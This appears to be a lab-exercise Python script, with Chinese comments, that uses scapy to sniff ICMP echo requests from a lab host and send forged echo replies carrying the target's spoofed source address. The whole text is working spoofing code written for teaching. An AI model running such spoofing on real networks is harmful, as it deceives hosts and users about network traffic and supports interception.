1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| #!/usr/bin/python3 from scapy.all import *
def spoof_icmp_reply(pkt): if pkt.haslayer(ICMP) and pkt[ICMP].type == 8 and pkt[IP].src == "192.168.60.2": ip = IP( src=pkt[IP].dst, # 将原目标IP作为伪造响应的源IP dst=pkt[IP].src, # 响应发给原请求的源IP(hostA) ttl=64 ) icmp = ICMP( type=0, # ICMP回复类型 id=pkt[ICMP].id, # 保持与原请求相同的ID seq=pkt[ICMP].seq # 保持与原请求相同的序列号 )
data = pkt[Raw].load if pkt.haslayer(Raw) else b'' spoofed_pkt = ip/icmp/data send(spoofed_pkt, verbose=0, iface="eth0") print(f"[+] 伪造响应:{pkt[IP].dst} -> {pkt[IP].src}")
sniff( filter="icmp and src host 192.168.60.2", # BPF过滤器 iface="br-fd74f556480b", # 这里的网卡需要修改为你自己实验时attacker主机的网卡 prn=spoof_icmp_reply # 回调函数 )
|